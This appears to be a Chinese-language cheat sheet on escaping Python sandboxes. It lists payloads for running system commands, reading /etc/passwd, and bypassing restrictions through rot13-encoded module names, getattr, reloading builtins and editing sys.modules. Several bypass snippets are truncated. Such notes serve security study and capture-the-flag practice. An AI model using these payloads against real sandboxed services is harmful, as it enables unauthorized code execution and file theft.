python沙箱逃逸
命令执行
_ import _()函数
1
__import__("os").system("ls")
os 执行系统命令
1
2import os
os.system('ipconfig')exec 任意代码执行
1
exec('__import__("os").system("ipconfig")')
eval 任意代码执行
1
eval('__import__("os").system("ipconfig")')
execfile 执行一个文件
1
execfile('/usr/lib/python2.7/os.py')
compile
1
compile('a = 1 + 2', '<string>', 'exec')
timeit 本是检测性能的,也可以任意代码执行
1
2import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)platform
1
2import platform
platform.popen('ipconfig').read()subprocess
1
2import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()importlib模块
1
2
3
4import importlib
importlib.import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')
读文件
file
1
file('/etc/passwd').read()
open
1
open('/etc/passwd').read()
codecs
1
2import codecs
codecs.open('/etc/passwd').read()
获取当前Python环境
- sys模块
1
2import sys
sys.version
绕过
禁止引入敏感包
通过一些编码来进行混淆
1 | f3ck = __import__("pbzznaqf".decode('rot_13')) |
配合getattr
函数
这个函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性
1 | import codecs |
1 | >>> import base64 |
删除builtins中的函数
可以通过reload重新导入__builtins__
模块
1 | reload(__builtin__) |
reload也是builtins中的一个函数,假如它也被删了的话,还可以尝试一个imp的模块
1 | import imp |
修改sys.modules
1 | >>> import sys |
1 | >>> execfile('/usr/lib/python2.7/os.py') |
通过类的继承关系找到被ban掉的库
与模板注入类似
参考:
- https://xz.aliyun.com/t/52#toc-4
- https://www.kingkk.com/2018/06/Flask-Jinja2-SSTI-python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8
- https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/
- https://blog.0kami.cn/2016/09/16/old-python-sandbox-escape/
- https://0day.work/jinja2-template-injection-filter-bypasses/
- http://p0sec.net/index.php/archives/120/